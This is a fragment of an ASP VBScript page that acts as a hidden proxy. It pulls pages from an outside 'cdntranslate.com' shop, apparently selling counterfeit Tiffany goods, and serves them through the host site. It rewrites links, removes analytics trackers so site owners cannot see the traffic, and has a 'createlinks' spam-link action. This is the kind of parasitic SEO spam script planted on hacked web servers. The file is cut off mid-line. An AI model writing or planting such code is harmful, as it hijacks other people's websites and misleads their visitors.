%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
server.ScriptTimeout=9999999
'On Error Resume next
action=request("action")
replacestr=request("replacestr")
If action="createlinks" and replacestr<>"" Then
Response.Write CreateLink()
Response.End
End If
lg=Trim(Request("lg"))
queryStr=Trim(Request.QueryString)
siteUrl="http://www.cdntranslate.com/tiffany/ti33flxe36ab/"
If Len(lg)>0 Then
siteUrl="http://"&lg&".cdntranslate.com/tiffany/ti33flxe36ab/"
queryStr=Replace(queryStr,"lg="&lg,"")
queryStr=Replace(queryStr,"&page=","")
else
siteUrl="http://www.cdntranslate.com/tiffany/ti33flxe36ab/"
queryStr=Replace(queryStr,"lg="&lg,"")
queryStr=Replace(queryStr,"&page=","")
End If
'jsUrl=""
previousUrl=Request.ServerVariables("HTTP_HOST")&Request.ServerVariables("PATH_INFO")
previousFile=Request.ServerVariables("PATH_INFO")
'lgUrl="DE"
locationUrl=GetLocationURL()
sourceBody=GetResStr(siteUrl&"/"&queryStr)
sourceBody=replace(sourceBody,""""&"/",""""&siteUrl&"/",1,-1,1)
sourceBody=replace(sourceBody,"../../../","../",1,-1,1)
sourceBody=replace(sourceBody,"../../","../",1,-1,1)
sourceBody=replace(sourceBody,"../",siteUrl&"/",1,-1,1)
sourceBody=replace(sourceBody,""""&"includes/",""""&siteUrl&"/includes/",1,-1,1)
sourceBody=replace(sourceBody,""""&"images/",""""&siteUrl&"/images/",1,-1,1)
sourceBody=replace(sourceBody,""""&"js/",""""&siteUrl&"/js/",1,-1,1)
sourceBody=replace(sourceBody,""""&"products/",""""&siteUrl&"/products/",1,-1,1)
sourceBody=RegexReplace(sourceBody,"","")
sourceBody=RegexReplace(sourceBody,"http://js.users.51.la/(.*?).js","")
sourceBody=replace(sourceBody,"cnzz.com/z_stat.php","",1,-1,1)
sourceBody=replace(sourceBody,"google-analytics.com/ga.js","",1,-1,1)
sourceBody=replace(sourceBody,"